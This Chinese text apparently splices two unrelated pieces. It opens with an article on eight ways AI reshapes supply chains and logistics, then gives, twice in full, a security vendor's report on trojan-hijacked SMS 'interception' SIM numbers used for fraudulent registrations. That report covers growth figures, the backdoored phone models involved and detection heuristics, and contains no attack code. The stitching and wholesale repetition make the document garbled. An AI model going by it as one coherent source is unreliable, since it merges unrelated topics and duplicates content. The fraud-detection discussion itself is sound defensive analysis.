在不久的将来,人工智能将为整个供应链和物流流程建立新的效率标准。游戏规则瞬息万变,以自动化、智能化和高效化的方式为全球物流公司管理数据,运营业务和服务客户正在成为一种“新常态”。

得益于算法开发的最新进展,以及强大的数据处理能力和可用数据量的指数级增长,那些以往被视为人类专属领域的任务,现在也能够顺利执行了。

微信截图_20200708133601.png

了解供应链

简单来说,供应链涉及一系列旨在向最终用户提供产品或服务的步骤。企业组织及其供应商之间始终存在一个网络,来生产特定产品并将其交付给最终用户。该网络包括不同的活动、人员、实体、信息和资源等等。

供应链还代表了将产品或服务从原始状态提供给客户所需采取的步骤。这些步骤通常包括将原材料转移并将其转化为成品,运输这些产品并将其交付给最终用户等等。供应链中所涉及的实体包括生产商、供应商、仓库、运输公司、分销中心以及零售商等。

如果说你正在运营一家企业,那么供应链管理将是至关重要的过程,因为优化的供应链可以帮助企业降低成本,并在激烈的商业环境中保持竞争力。

了解人工智能及其影响供应链的方式

大多数人在听到“人工智能”一词时,想到的第一件事通常就是“机器人”。但这种想法显然并不准确。人工智能(Artificial intelligence)是机器智能(machine intelligence)的同义词,是指由机器所展示出来的智能,与人类所展示出来的自然智能(natural intelligence,是指观察自然界中的各种形态,对物体进行辨认和分类,能够洞察自然或人造系统的能力)相反。

“人工智能”这一术语,通常用于描述模仿人类与人类思维(例如“学习”和“解决问题”)相关的“认知”功能的机器(或计算机)。

企业组织可以使用这些方法,然后对其进行分析以获得可以启动流程和复杂功能的结果。

早在2016年,Crisp Research AG公司针对IT决策者进行的一项研究中就发现,在众多行业中,积极使用机器学习流程的企业数量名列前茅的当属物流行业。

如今,许多企业组织已经从人工智能投资中获益。根据Adobe公司的调查结果显示,目前有15%的企业已经开始使用人工智能,而其他31%的企业计划在2019年采用人工智能。在此过程中,能够产生收益的领域包括研发、产品创新、供应链运营以及客户服务。

调研机构麦肯锡公司(McKinsey & Company)预计,通过在供应链中使用人工智能,企业每年能够从中获得1.3万亿美元至2万亿美元的经济价值。此外,普华永道公司也表示,到2030年,人工智能预计可以为全球经济贡献近15.7万亿美元的价值。

人工智能影响供应链的8种方式

1. 人工智能能够分析大量数据,从而增强需求预测

有了人工智能技术,企业通过处理大量的数据——例如由传感器生成的数据——以了解现实情况,然后做出合理的决策,已经成为可能。的确,当供应落后于需求时,企业会蒙受损失。

人工智能的预测能力有助于网络规划和预测需求。这使得销售商能够变被动为主动。通过了解期望值和需求量,运输公司可以合理调整车辆数量,并将其重点放置在预计需求最大的位置上,此举可以帮助降低运营成本。

大数据的力量使得物流公司能够比以往更好地预测高度准确的前景,并优化未来绩效。此外,大数据技术还可以进行预测和复杂的情景分析,并可以进行精确的容量规划以及供应链和库存的优化。

2. 人工智能可以提供洞察力以提高生产力

通过自动计算更好的解决方案,人工智能极大地提高了仓库的生产率,尤其是对于在线零售商而言。

通过在供应链管理过程中应用人工智能技术,可以有效地分析供应链性能并找出影响同一领域的新因素。为了找出影响供应链绩效的因素和问题,人工智能还结合了强化学习、无监督学习以及监督学习等不同技术的能力。

3. 聊天机器人正在重新定义客户支持服务

根据埃森哲(Accenture)公司的调查结果显示,80%的客户服务都可以由机器人来处理。人工智能可以个性化客户与物流供应商之间的关系。

Pega公司也表示,38%的消费者认为人工智能可以增强客户服务。

最近的一个个性化客户体验示例是DHL公司与亚马逊公司的合作关系。通过使用Alexa应用程序跟踪DHL包裹行程,DHL客户可以要求Alexa与Amazon Echo或Echo Dot智能音箱连接,并确认包裹的状态。如果在交互过程中出现任何问题,Echo用户可以直接与DHL公司联系,以寻求其客户支持团队的帮助。

4. 智能仓库管理

在未来几年内,大面积的仓库管理将会完全实现自动化。人工智能技术越来越成为不可或缺的组成部分,尤其是在短期和中期预测方面。

智能仓库是一个完全自动化的设施,其中大部分工作是通过自动化或软件来完成的。在此过程中,繁琐的任务得以简化,操作也变得更具成本效益。

阿里巴巴和亚马逊公司已经通过使用自动化改造了他们的仓库。亚马逊公司正在物流中心内使用机器替代真人员工,这套自动化的打包生产线名为 CartonWrap(纸箱打包),由意大利公司 CMC 提供。该机器主要由分拣、裁切和打包三个核心模块,以及打单等辅助模块组成。据悉,CartonWrap 每小时可以完成600-700个订单的打包工作,效率远超人手打包。CMC 的网站则显示,该机器在理想状态下每小时可以输出多达1,000个包裹,打包效率获得了5倍的惊人提升。

阿里巴巴的智能仓库通过一整套自动化系统,每天可高效处理超百万级商品,人工仅需在条码复核、分拣机监护等环节投入,货品的运输、仓储、装卸、搬运等七个环节可一体化集成,效率至少提升30%,拣货准确率几乎可达100%。

5. 自动驾驶汽车

自动驾驶汽车是由人工智能提供供应链的下一个重要产品。拥有无人驾驶卡车可能还需要一段时间,但是物流行业现在正在利用高科技驾驶来提高效率和安全性。在辅助制动、车道辅助和高速公路自动驾驶方面,预计该行业将发生重大变化。

为了实现更低的油耗,企业不断研发出更好的驾驶系统,该系统可以将多辆卡车聚集在一起形成编队。物流公司通过计算机控制这样的编队,而且它们之间也相互连接。

6. 遗传算法正在缩短交货时间并降低成本

在供应链中,每一英里和每一分钟都很重要。企业可以使用基于遗传算法(Genetic Algorithms)的路线规划器来规划交付的最佳路线。

全球快递服务商UPS公司正在使用一款名为“Orion”的GPS工具,来帮助驾驶员及时、经济、高效地交货。据悉,Orion可以根据交通状况和其他因素来实时规划和优化路线。而这一技术已经帮助UPS公司每年节省了近5000万美元。

7. 机器人技术

如果不提及机器人技术,那么此次关于人工智能的讨论势必是不完整的。虽然它们听起来像是一种未来主义的概念,但事实上它们已经嵌入到了供应链之中。根据调研机构Tractica Research公司的说法,到2021年底,全球仓储和物流机器人的销售额将达到224亿美元。

如今,有些仓库的操作原理已不再为人类观察者所理解,因为它们是由人工智能管理的。它们的共同特征通常是机器人驱动,尤其是自动导引车(AGV)。

在仓库中,产品以混乱的方式存放在各种架子和过道中。对于人类拣选师而言,这就意味着不必要的移动和搜索时间,而这一过程对于自动驾驶机器人来说却并不存在问题:当收到订单时,第一个可用的自动拣选机将拾取最接近其位置存储的物品,并将其传送到仓库末端的人工包装工位。

8. 财务异常检测

供应链提供商通常依赖大量的第三方——包括公共航空公司、分包人员、特许航空公司以及其他第三方供应商——来运营其业务的核心功能。这就给物流会计团队增加了负担,导致他们每年要处理来自数千家供应商、合作伙伴或供应商的数百万张发票。

就该问题而言,诸如自然语言处理之类的人工智能技术,可以从企业收到的非结构化发票形式中提取关键信息,例如账单金额、帐户信息、日期、地址和相关方。

例如,咨询机构安永(EY)公司正在采用类似的方法来检测欺诈性发票。使用机器学习技术对国际方的发票进行彻底分类,并识别异常以供专家审核,可以帮助安永公司遵守制裁、反贿赂法规以及《美国反海外腐败法》的其他规定。安永公司的欺诈检测系统达到了97%的准确性,并已推广到了50多家公司。

类似的逻辑还可以应用于具有高频重复任务的任何其他业务流程中。

结论

在不久的将来,人工智能将为整个供应链和物流流程建立新的效率标准。游戏规则瞬息万变,以自动化、智能化和高效化的方式为全球物流公司管理数据,运营业务和服务客户正在成为一种“新常态”。

得益于算法开发的最新进展,以及强大的数据处理能力和可用数据量的指数级增长,那些以往被视为人类专属领域的任务,现在也能够顺利执行了。

这是永安在线黑灰产研究报告的系列文章中的一篇,本文介绍了短信拦截手机黑卡近期的增长趋势与其背后的深层次原因,并分享了永安在线在判别短信拦截手机黑卡背后控制者的经验与方法。本文由永安在线原创发布,如需转载、摘抄或利用其他方式使用本文或观点,请与我们联系。

以往我们提到移动端木马的时候,想到的都是关于流量变现的情况:广告弹窗、软件推广。而到了近期,我们发现黑产逐渐转变了思路,不再针对用户的设备自身流量,而将目标转向到用户的手机号进行牟利。

在对不同的移动端木马进行业务风险分析后,我们发现短信木马的变现模式已完全转变成以业务为目标,通过劫持真人手机设备的短信上下行通道,为黑产提供“真人真机”的手机号资源,在业务欺诈时为黑产提供更容易规避风控监测的基础资源。

移动端木马近十年的发展,在变现逻辑上,也从最开始的延续PC黑产的流量变现阶段,完全转移到以“手机号”、“移动设备”、“IP”等基础黑产资源为核心的业务欺诈时代。

拦截卡在短短一年间,就有了30倍以上的增长,也实际上标志着黑产大规模向业务欺诈为主的运营模式转变的彻底完成。

短信拦截手机黑卡近一年暴增30倍,增速仍在加快

手机号作为当前互联网最常用的身份标识之一,一直以来也都是互联网黑产伪造身份的必需品、底层基础资源,时至今日,已经聚集了各路黑灰色“渠道/供应商”从中分利。这些种种非法手段获取的手机SIM卡,从防御方式角度大体可以分为两类:

·传统手机黑卡:指非正常实名的手机SIM卡,渠道多样,有企业匿名、历史物联网卡、通信虚拟等等,主要特征是“在生命周期内被黑产固定持有”,即在这个期限内无论注册哪个平台,进行什么行为均可判断为恶意;

·短信拦截手机黑卡:指通过设备硬件后门或软件App方式植入木马,拦截正常用户手机设备收到的短信内容,利用其进行恶意注册,主要特征是“有自然人参与,号码的恶意性需针对平台进行判断”。因这种黑卡采用拦截短信内容的方法进行恶意行为,我们简称其为“拦截卡”。

通过硬件后门和软件app方式植入木马的产业链一直都存在,被控制的手机称为“野鸡、肉鸡”,从出现发展至今已有十余年。控制一定规模野鸡和肉鸡的渠道团伙不在少数,最早是通过静默安装各类APP、分发黄赌等黑色流量赚取非法收入。

拦截卡这种黑卡从2018年底首次发现,由于其隐蔽性相对其他渠道更高,实际出现时间可能早于首次发现时间。2019年5月拦截卡数量出现一次增长爆发,平台聚集,活跃手机号数量增长3.8倍,8月拦截卡遭受到网警的严厉打击。在拦截卡市场消沉4个月后,得益于恶意注册市场需求的激发,同年12月迎来了一次新的爆发,拦截卡的增长速度提升了7倍,之后持续稳定在该速度持续补充“卡源”,在手机黑卡产业中占据了自己的一席之地。

拦截卡图片01-2.png

根据永安在线对拦截卡的监测数据,我们发现在去年年初至11月,拦截卡每月增量基本都是在6万至30万之间。而到了19年12月,当月拦截卡新增数量直线上升,这波势头在2020年1月到达了顶峰,当月新增数量558万,是去年同期新增数量6.2万的90倍。而结合拦截卡在黑卡中的增长比例趋势观察,我们可以发现拦截卡在黑卡增量的比例在一年内提升了30倍,这也标志着拦截卡已经成为了黑产方面现阶段集中精力开发的黑卡渠道。

拦截卡图片02-2.png

(文中数据为永安在线分层抽样后根据实际情况估算得出,由于无法覆盖全网情况,可能存在误差,仅做参考。未经允许,请勿以任何形式使用本文部分或全部数据。)

截止至今年6月,拦截卡已经在黑卡市场中占据了28.67%的比例,预计全网有超过6000w张拦截卡。其中国内拦截卡占比国内全部恶意手机号的7.53%,海外拦截卡占比海外全部恶意手机号的61.81%。

拦截卡图片03-2.png

黑产把目标转移到短信拦截手机黑卡的两个原因

1. 渠道问题:手机黑卡的上游渠道急需补充

近几年手机黑卡的上游渠道从实体店到虚拟运营商,后来又衍生出协议模拟手机黑卡的方式,但总体上仍然是供不应求的状态。在上游关键节点近几年不断被打击的情况下,黑产急需要不依赖于固定上游的更稳定供卡渠道。而短信拦截手机黑卡不需要特定上游,本质上是传统的移动端木马的模式做了一个变现的模式改进。这部分上游呈现出来的也有更明显的碎片化特征,在法务和技术的打击上,更难打击到关键节点,所以逐渐成为黑产稳定的手机黑卡上游渠道。

2. 攻防演进的结果:从人机识别到真人对抗

业务安全的攻防在过去长期是围绕着“人机识别”为基础的。黑产用的是假人、假设备、假号码。逐渐的黑产开始用真实的手机设备,现在也大规模的应用的真人的手机号码和IP资源。这无疑为业务安全攻防带来更多挑战,当判定对象已经被好人和坏人同时持有,识别的难度及误判的风险、客诉问题就都更加严峻。相对应到的,更顺畅的变现通道也为黑产打开。

海外手机号码是短信拦截黑卡的主要类型

在分类上面我们关注到了这个特别的情况,海外黑卡的占比相比其他黑卡类型来说,在拦截卡这个分类中占比达到了61.81%,比例非常的高。这是两个原因导致的:

1. 拦截卡获取渠道有海外特征

拦截卡的主要获取方式是通过手机静默安装的木马以及软件方式植入木马。其中硬件后门类手机机型TOP有“S43_**_V01”、“A80_**_GIVAD399_**_METR”、“IKALL_**_6531D”等,这些机型对应的是主要出口海外的低端手机。

软件植入类木马的手机机型TOP主要有“TECNO W2 ”、“E121 ”、“Micromax  C2APLS ”等,这些机型同样为国内出口到海外市场的机型。正因这两种类别的机型主要为海外出货,顺带着导致整个拦截卡类型中海外黑卡占比很高,这是其中最主要的原因。

2. 海外手机黑卡本身的价值增值很快

国内大量互联网企业的出海,对海外用户的欢迎态度,在一定程度上导致风控投入上相对国内业务的滞后。导致海外黑卡在部分企业业务场景下的高通过率。

拦截卡图片04-2.png

如何应对短信拦截卡

由于传统黑卡具有“黑产实际持有SIM卡片”的特征,无需区分场景和时间,进入业务系统时均可标记为恶意。短信拦截卡则需要进行额外的判定,区分“是否为持卡人本人操作”,这需要根据拦截卡本身特点和使用拦截卡攻击过程中的特征进行判定。

机型具有绝对差异

比如当前拦截木马是跟随手机出厂时进行植入的后门或木马,由于手机本身多为杂牌套牌,拦截卡号主的机型诸如“S43_**_V01”、“A80_**_GIVAD399_**_METR”、“IKALL_**_6531D”等,在全网机型中占比极低;但黑产作恶场景中,攻击者使用拦截卡号码时将伪造设备环境,这时他们会将请求伪装成来自华为、小米、OPPO、VIVO等常见机型。

设备指纹具备异常特征

拦截卡作恶对应的设备信息中,通常也会具备一些改机(软件层面伪造设备指纹)、群控(为批量操作多台设备所安装的操控软件)或是在APPlist中存在自动化脚本的特征。当命中拦截卡的同时出现这些机器作恶特征,基本可判定为非号主本人操作的恶意行为。

结合IP、行为特征多维判黑

在IP角度发现的异常也可作为黑产操纵拦截卡的辅助判定方式。例如一些开放海外注册的平台,账号本身为海外拦截卡号码,但访问来源IP却命中了国内“秒拨”黑IP(一种利用国内家庭宽带IP作为代理的作恶方式),这其中存在明显的矛盾和恶意特征。永安在线的IP画像具有高实时性特征,此时结合黑产的特点进行判定,一个IP只会在某一段时间内为黑,拦截卡号主使用的IP和判黑IP重叠的概率基本为0。所以命中拦截卡与命中任何类型的黑代理IP均是极其异常的账号行为的依据,可判定为恶意。

企业也可以结合自身业务场景设置行为特征的判断规则,如拉新中同一邀请码下的新用户账号中,拦截卡占比过高、出现过一定的手机黑卡、黑IP命中次数等,即可判定相关新用户账号是由黑产批量注册,而非拦截卡卡号主注册。

拦截卡识别能力

永安在线的“手机号画像”是当前市场上唯一一家提供拦截卡识别能力服务的产品,可作为数据源参与风控评分,帮助企业完成业务安全中的用户判别,欢迎测试对接。

这是永安在线黑灰产研究报告的系列文章中的一篇,本文介绍了短信拦截手机黑卡近期的增长趋势与其背后的深层次原因,并分享了永安在线在判别短信拦截手机黑卡背后控制者的经验与方法。本文由永安在线原创发布,如需转载、摘抄或利用其他方式使用本文或观点,请与我们联系。

以往我们提到移动端木马的时候,想到的都是关于流量变现的情况:广告弹窗、软件推广。而到了近期,我们发现黑产逐渐转变了思路,不再针对用户的设备自身流量,而将目标转向到用户的手机号进行牟利。

在对不同的移动端木马进行业务风险分析后,我们发现短信木马的变现模式已完全转变成以业务为目标,通过劫持真人手机设备的短信上下行通道,为黑产提供“真人真机”的手机号资源,在业务欺诈时为黑产提供更容易规避风控监测的基础资源。

移动端木马近十年的发展,在变现逻辑上,也从最开始的延续PC黑产的流量变现阶段,完全转移到以“手机号”、“移动设备”、“IP”等基础黑产资源为核心的业务欺诈时代。

拦截卡在短短一年间,就有了30倍以上的增长,也实际上标志着黑产大规模向业务欺诈为主的运营模式转变的彻底完成。

短信拦截手机黑卡近一年暴增30倍,增速仍在加快

手机号作为当前互联网最常用的身份标识之一,一直以来也都是互联网黑产伪造身份的必需品、底层基础资源,时至今日,已经聚集了各路黑灰色“渠道/供应商”从中分利。这些种种非法手段获取的手机SIM卡,从防御方式角度大体可以分为两类:

·传统手机黑卡:指非正常实名的手机SIM卡,渠道多样,有企业匿名、历史物联网卡、通信虚拟等等,主要特征是“在生命周期内被黑产固定持有”,即在这个期限内无论注册哪个平台,进行什么行为均可判断为恶意;

·短信拦截手机黑卡:指通过设备硬件后门或软件App方式植入木马,拦截正常用户手机设备收到的短信内容,利用其进行恶意注册,主要特征是“有自然人参与,号码的恶意性需针对平台进行判断”。因这种黑卡采用拦截短信内容的方法进行恶意行为,我们简称其为“拦截卡”。

通过硬件后门和软件app方式植入木马的产业链一直都存在,被控制的手机称为“野鸡、肉鸡”,从出现发展至今已有十余年。控制一定规模野鸡和肉鸡的渠道团伙不在少数,最早是通过静默安装各类APP、分发黄赌等黑色流量赚取非法收入。

拦截卡这种黑卡从2018年底首次发现,由于其隐蔽性相对其他渠道更高,实际出现时间可能早于首次发现时间。2019年5月拦截卡数量出现一次增长爆发,平台聚集,活跃手机号数量增长3.8倍,8月拦截卡遭受到网警的严厉打击。在拦截卡市场消沉4个月后,得益于恶意注册市场需求的激发,同年12月迎来了一次新的爆发,拦截卡的增长速度提升了7倍,之后持续稳定在该速度持续补充“卡源”,在手机黑卡产业中占据了自己的一席之地。

拦截卡图片01-2.png

根据永安在线对拦截卡的监测数据,我们发现在去年年初至11月,拦截卡每月增量基本都是在6万至30万之间。而到了19年12月,当月拦截卡新增数量直线上升,这波势头在2020年1月到达了顶峰,当月新增数量558万,是去年同期新增数量6.2万的90倍。而结合拦截卡在黑卡中的增长比例趋势观察,我们可以发现拦截卡在黑卡增量的比例在一年内提升了30倍,这也标志着拦截卡已经成为了黑产方面现阶段集中精力开发的黑卡渠道。

拦截卡图片02-2.png

(文中数据为永安在线分层抽样后根据实际情况估算得出,由于无法覆盖全网情况,可能存在误差,仅做参考。未经允许,请勿以任何形式使用本文部分或全部数据。)

截止至今年6月,拦截卡已经在黑卡市场中占据了28.67%的比例,预计全网有超过6000w张拦截卡。其中国内拦截卡占比国内全部恶意手机号的7.53%,海外拦截卡占比海外全部恶意手机号的61.81%。

拦截卡图片03-2.png

黑产把目标转移到短信拦截手机黑卡的两个原因

1. 渠道问题:手机黑卡的上游渠道急需补充

近几年手机黑卡的上游渠道从实体店到虚拟运营商,后来又衍生出协议模拟手机黑卡的方式,但总体上仍然是供不应求的状态。在上游关键节点近几年不断被打击的情况下,黑产急需要不依赖于固定上游的更稳定供卡渠道。而短信拦截手机黑卡不需要特定上游,本质上是传统的移动端木马的模式做了一个变现的模式改进。这部分上游呈现出来的也有更明显的碎片化特征,在法务和技术的打击上,更难打击到关键节点,所以逐渐成为黑产稳定的手机黑卡上游渠道。

2. 攻防演进的结果:从人机识别到真人对抗

业务安全的攻防在过去长期是围绕着“人机识别”为基础的。黑产用的是假人、假设备、假号码。逐渐的黑产开始用真实的手机设备,现在也大规模的应用的真人的手机号码和IP资源。这无疑为业务安全攻防带来更多挑战,当判定对象已经被好人和坏人同时持有,识别的难度及误判的风险、客诉问题就都更加严峻。相对应到的,更顺畅的变现通道也为黑产打开。

海外手机号码是短信拦截黑卡的主要类型

在分类上面我们关注到了这个特别的情况,海外黑卡的占比相比其他黑卡类型来说,在拦截卡这个分类中占比达到了61.81%,比例非常的高。这是两个原因导致的:

1. 拦截卡获取渠道有海外特征

拦截卡的主要获取方式是通过手机静默安装的木马以及软件方式植入木马。其中硬件后门类手机机型TOP有“S43_**_V01”、“A80_**_GIVAD399_**_METR”、“IKALL_**_6531D”等,这些机型对应的是主要出口海外的低端手机。

软件植入类木马的手机机型TOP主要有“TECNO W2 ”、“E121 ”、“Micromax  C2APLS ”等,这些机型同样为国内出口到海外市场的机型。正因这两种类别的机型主要为海外出货,顺带着导致整个拦截卡类型中海外黑卡占比很高,这是其中最主要的原因。

2. 海外手机黑卡本身的价值增值很快

国内大量互联网企业的出海,对海外用户的欢迎态度,在一定程度上导致风控投入上相对国内业务的滞后。导致海外黑卡在部分企业业务场景下的高通过率。

拦截卡图片04-2.png

如何应对短信拦截卡

由于传统黑卡具有“黑产实际持有SIM卡片”的特征,无需区分场景和时间,进入业务系统时均可标记为恶意。短信拦截卡则需要进行额外的判定,区分“是否为持卡人本人操作”,这需要根据拦截卡本身特点和使用拦截卡攻击过程中的特征进行判定。

机型具有绝对差异

比如当前拦截木马是跟随手机出厂时进行植入的后门或木马,由于手机本身多为杂牌套牌,拦截卡号主的机型诸如“S43_**_V01”、“A80_**_GIVAD399_**_METR”、“IKALL_**_6531D”等,在全网机型中占比极低;但黑产作恶场景中,攻击者使用拦截卡号码时将伪造设备环境,这时他们会将请求伪装成来自华为、小米、OPPO、VIVO等常见机型。

设备指纹具备异常特征

拦截卡作恶对应的设备信息中,通常也会具备一些改机(软件层面伪造设备指纹)、群控(为批量操作多台设备所安装的操控软件)或是在APPlist中存在自动化脚本的特征。当命中拦截卡的同时出现这些机器作恶特征,基本可判定为非号主本人操作的恶意行为。

结合IP、行为特征多维判黑

在IP角度发现的异常也可作为黑产操纵拦截卡的辅助判定方式。例如一些开放海外注册的平台,账号本身为海外拦截卡号码,但访问来源IP却命中了国内“秒拨”黑IP(一种利用国内家庭宽带IP作为代理的作恶方式),这其中存在明显的矛盾和恶意特征。永安在线的IP画像具有高实时性特征,此时结合黑产的特点进行判定,一个IP只会在某一段时间内为黑,拦截卡号主使用的IP和判黑IP重叠的概率基本为0。所以命中拦截卡与命中任何类型的黑代理IP均是极其异常的账号行为的依据,可判定为恶意。

企业也可以结合自身业务场景设置行为特征的判断规则,如拉新中同一邀请码下的新用户账号中,拦截卡占比过高、出现过一定的手机黑卡、黑IP命中次数等,即可判定相关新用户账号是由黑产批量注册,而非拦截卡卡号主注册。

拦截卡识别能力

永安在线的“手机号画像”是当前市场上唯一一家提供拦截卡识别能力服务的产品,可作为数据源参与风控评分,帮助企业完成业务安全中的用户判别,欢迎测试对接。